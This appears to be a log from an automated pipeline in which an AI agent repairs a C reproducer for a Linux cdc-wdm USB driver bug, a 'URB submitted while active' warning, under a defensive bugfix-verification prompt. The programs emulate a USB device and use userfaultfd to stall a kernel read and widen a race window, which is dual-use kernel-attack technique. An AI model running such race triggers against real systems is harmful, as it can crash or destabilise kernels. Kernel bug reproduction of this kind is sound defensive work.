The feedback clearly indicates a problem: I'm trying to `read()` from a userfaultfd file descriptor that was created with the `O_NONBLOCK` flag. This means the `read()` operation can immediately return `-1` with `errno` set to `EAGAIN` if no data is immediately available. The `uffd_thread` in the code is attempting a direct `read()` without checking if data is actually ready.
My immediate thought is to rectify this by introducing a mechanism to wait for data before attempting to read. The standard Linux way to do this is with `poll()`. I can modify the `uffd_thread` function to use `poll()` to monitor the userfaultfd for read events (`POLLIN`). This will block the thread until data is available or an error occurs.
Looking at the provided `uffd_thread` code:
```c
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
// ... rest of the function
```
I need to insert the `poll()` call before the `read()`. I'll declare a `struct pollfd`, set its `fd` to the userfaultfd, and its `events` to `POLLIN`. Then, I'll call `poll()` with a timeout of `-1` to indicate that it should wait indefinitely. The return value of `poll()` needs to be checked for errors.
The corrected `uffd_thread` would look like this:
```c
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) { // Wait indefinitely for data
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
// ... rest of the function
```
The feedback mentions that `setup_uffd` is from `race_toolkit.h`, but it also explicitly suggests using `poll()`, and that's a perfectly standard and appropriate solution. The provided C code snippet already includes the necessary headers and the `race_toolkit.h` inclusion. Therefore, I can directly integrate the `poll()` call into the `uffd_thread` function within the complete C code. This should resolve the `EAGAIN` issue and ensure that the `read()` operation from the userfaultfd only proceeds when there's actually data to be read, thus preventing the unexpected non-blocking behavior.
|
| 436/3 |
2026/09/11 23:47 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An analysis of the feedback reveals that the userfaultfd file descriptor was created with the `O_NONBLOCK` flag (which is standard behavior for `setup_uffd()` in the toolkit). Consequently, calling `read()` on it without waiting for it to become readable results in an immediate `-1` return with `errno = EAGAIN`, causing the fault handler thread to exit prematurely.
To fix this, we must use `poll()` to wait for the userfaultfd to become readable before attempting to read the `uffd_msg`.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
exit(1);
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```]
|
| 437/3 |
2026/09/11 23:47 |
agent |
repro-generator |
1m
Model:
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.
To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
systems, makefiles, and kernel build/header directories) is NOT available
on the target test VM guest. Do NOT check for, build, or reference any
compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
functions like 'system()', 'popen()', or the 'exec' family such as
'execve()'). All environment checks, capability probings, and reproduction
steps must be performed directly using standard Linux system calls (such
as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
include a sufficient delay (using sleep or similar) after deleting
or unregistering the device to allow the kernel's asynchronous
timeout to trigger before program exit.
=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.
Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
